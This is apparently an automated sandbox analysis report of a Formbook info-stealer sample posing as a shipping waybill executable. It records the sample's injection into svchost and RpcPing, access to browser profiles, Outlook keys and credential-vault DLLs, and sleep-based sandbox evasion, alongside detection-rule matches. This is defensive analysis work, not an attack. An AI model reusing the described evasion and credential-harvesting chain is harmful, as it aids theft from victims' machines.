Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F49DD0	2_2_02F49DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F52DB0	2_2_02F52DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40D69	2_2_02F40D69
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF7D4C	2_2_02FF7D4C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFFD27	2_2_02FFFD27
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0300ACEB	2_2_0300ACEB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3AD00	2_2_02F3AD00

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02F87BE4 appears 87 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02F2B910 appears 251 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02FBEF10 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02F75050 appears 36 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02FAE692 appears 84 times
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: String function: 00420D27 appears 70 times
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: String function: 00428B40 appears 42 times
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: String function: 00407F41 appears 35 times

Source: AWB NO. 077-57676135055.exe, 00000000.00000003.18132666268.00000000040DD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs AWB NO. 077-57676135055.exe
Source: AWB NO. 077-57676135055.exe, 00000000.00000003.18134277074.0000000003F33000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs AWB NO. 077-57676135055.exe

Source: AWB NO. 077-57676135055.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.18533462079.0000000002D90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.23184804964.0000000002AE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.18532632938.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.23186298424.00000000050F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.23186502535.0000000003120000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.23186224923.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.18534395996.0000000005E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/5@16/12

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_0046A2D5 GetLastError,FormatMessageW,

0_2_0046A2D5

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00458713 AdjustTokenPrivileges,CloseHandle,		0_2_00458713
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00458CC3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_00458CC3

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_0046B59E SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_0046B59E

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_0047F121 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_0047F121

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_0046C602 CoInitialize,CoCreateInstance,CoUninitialize,

0_2_0046C602

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_00404FE9 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00404FE9

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

File created: C:\Users\user\AppData\Local\Temp\autF6BF.tmp

Source: AWB NO. 077-57676135055.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: RpcPing.exe, 00000004.00000003.19091477806.0000000007BEC000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000003.19091477806.0000000007BFA000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23189698242.0000000007BFA000.00000004.00000020.00020000.00000000.sdmp, 45570IH2.4.dr

Binary or memory string: CREATE TABLE "autofill_profile_edge_extended" ( guid VARCHAR PRIMARY KEY, date_of_birth_day VARCHAR, date_of_birth_month VARCHAR, date_of_birth_year VARCHAR, source INTEGER NOT NULL DEFAULT 0, source_id VARCHAR)[;

Source: AWB NO. 077-57676135055.exe

ReversingLabs: Detection: 47%

Source: unknown	Process created: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe "C:\Users\user\Desktop\AWB NO. 077-57676135055.exe"
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\AWB NO. 077-57676135055.exe"
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	Process created: C:\Windows\SysWOW64\RpcPing.exe "C:\Windows\SysWOW64\RpcPing.exe"
Source: C:\Windows\SysWOW64\RpcPing.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\AWB NO. 077-57676135055.exe"	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	Process created: C:\Windows\SysWOW64\RpcPing.exe "C:\Windows\SysWOW64\RpcPing.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: credui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\RpcPing.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Source: C:\Windows\SysWOW64\RpcPing.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: AWB NO. 077-57676135055.exe

Static file information: File size 1182720 > 1048576

Source: AWB NO. 077-57676135055.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: AWB NO. 077-57676135055.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: AWB NO. 077-57676135055.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: AWB NO. 077-57676135055.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: AWB NO. 077-57676135055.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: AWB NO. 077-57676135055.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: AWB NO. 077-57676135055.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: jFlHFdZgIYNZqR.exe, 00000003.00000000.18449708265.000000000051E000.00000002.00000001.01000000.00000004.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23184750264.000000000051E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: AWB NO. 077-57676135055.exe, 00000000.00000003.18131573643.0000000003FB0000.00000004.00001000.00020000.00000000.sdmp, AWB NO. 077-57676135055.exe, 00000000.00000003.18129996314.0000000003E10000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.18533534284.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.18369078674.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.18533534284.000000000302D000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.18362303524.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23186772776.000000000343D000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23186772776.0000000003310000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000003.18532753430.0000000002FB2000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000003.18540137751.0000000003163000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RPCPing.pdbGCTL source: svchost.exe, 00000002.00000003.18500957971.000000000081A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.18501031361.000000000082B000.00000004.00000020.00020000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000003.00000003.22066027832.0000000000B9B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: AWB NO. 077-57676135055.exe, 00000000.00000003.18131573643.0000000003FB0000.00000004.00001000.00020000.00000000.sdmp, AWB NO. 077-57676135055.exe, 00000000.00000003.18129996314.0000000003E10000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.18533534284.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.18369078674.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.18533534284.000000000302D000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.18362303524.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23186772776.000000000343D000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23186772776.0000000003310000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000003.18532753430.0000000002FB2000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000003.18540137751.0000000003163000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RPCPing.pdb source: svchost.exe, 00000002.00000003.18500957971.000000000081A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.18501031361.000000000082B000.00000004.00000020.00020000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000003.00000003.22066027832.0000000000B9B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: RpcPing.exe, 00000004.00000002.23187811443.000000000393C000.00000004.10000000.00040000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23185093416.0000000002DD2000.00000004.00000020.00020000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000000.18680544916.0000000002D7C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.19004125183.000000003A15C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: RpcPing.exe, 00000004.00000002.23187811443.000000000393C000.00000004.10000000.00040000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23185093416.0000000002DD2000.00000004.00000020.00020000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000000.18680544916.0000000002D7C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.19004125183.000000003A15C000.00000004.80000000.00040000.00000000.sdmp

Source: AWB NO. 077-57676135055.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: AWB NO. 077-57676135055.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: AWB NO. 077-57676135055.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: AWB NO. 077-57676135055.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: AWB NO. 077-57676135055.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_0047C304 LoadLibraryA,GetProcAddress,

0_2_0047C304

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00428B85 push ecx; ret	0_2_00428B98
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004190A0 push esp; ret	2_2_004190B5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00408926 push ebx; iretd	2_2_0040892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040D99B pushad ; ret	2_2_0040D99C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041EB96 push FFFFFF8Fh; retf	2_2_0041EB9A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00411CAC pushfd ; retf	2_2_00411CB8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00411CBF push 3E557F42h; ret	2_2_00411CC4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403570 push eax; ret	2_2_00403572
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004075A7 push 67C9EEB0h; retf	2_2_004075B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F308CD push ecx; mov dword ptr [esp], ecx	2_2_02F308D6

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00404A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00404A35
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_004855FD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_004855FD

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_004233C7 EncodePointer,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_004233C7

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	API/Special instruction interceptor: Address: 1033234
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FFF02D0D144
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FFF02D0D604
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FFF02D0D764
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FFF02D0D324
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FFF02D0D364
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FFF02D0D004
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FFF02D0FF74
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FFF02D0D864

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_02F71763 rdtsc

2_2_02F71763

Source: C:\Windows\SysWOW64\RpcPing.exe

Window / User API: threadDelayed 9113

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-98907

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	API coverage: 4.7 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.9 %

Source: C:\Windows\SysWOW64\RpcPing.exe TID: 8096	Thread sleep count: 115 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe TID: 8096	Thread sleep time: -230000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe TID: 8096	Thread sleep count: 9113 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe TID: 8096	Thread sleep time: -18226000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe TID: 504	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\RpcPing.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\RpcPing.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00464696 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00464696
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0046C93C FindFirstFileW,FindClose,	0_2_0046C93C
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0046C9C7 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,	0_2_0046C9C7
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0046F200 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_0046F200
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0046F35D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_0046F35D
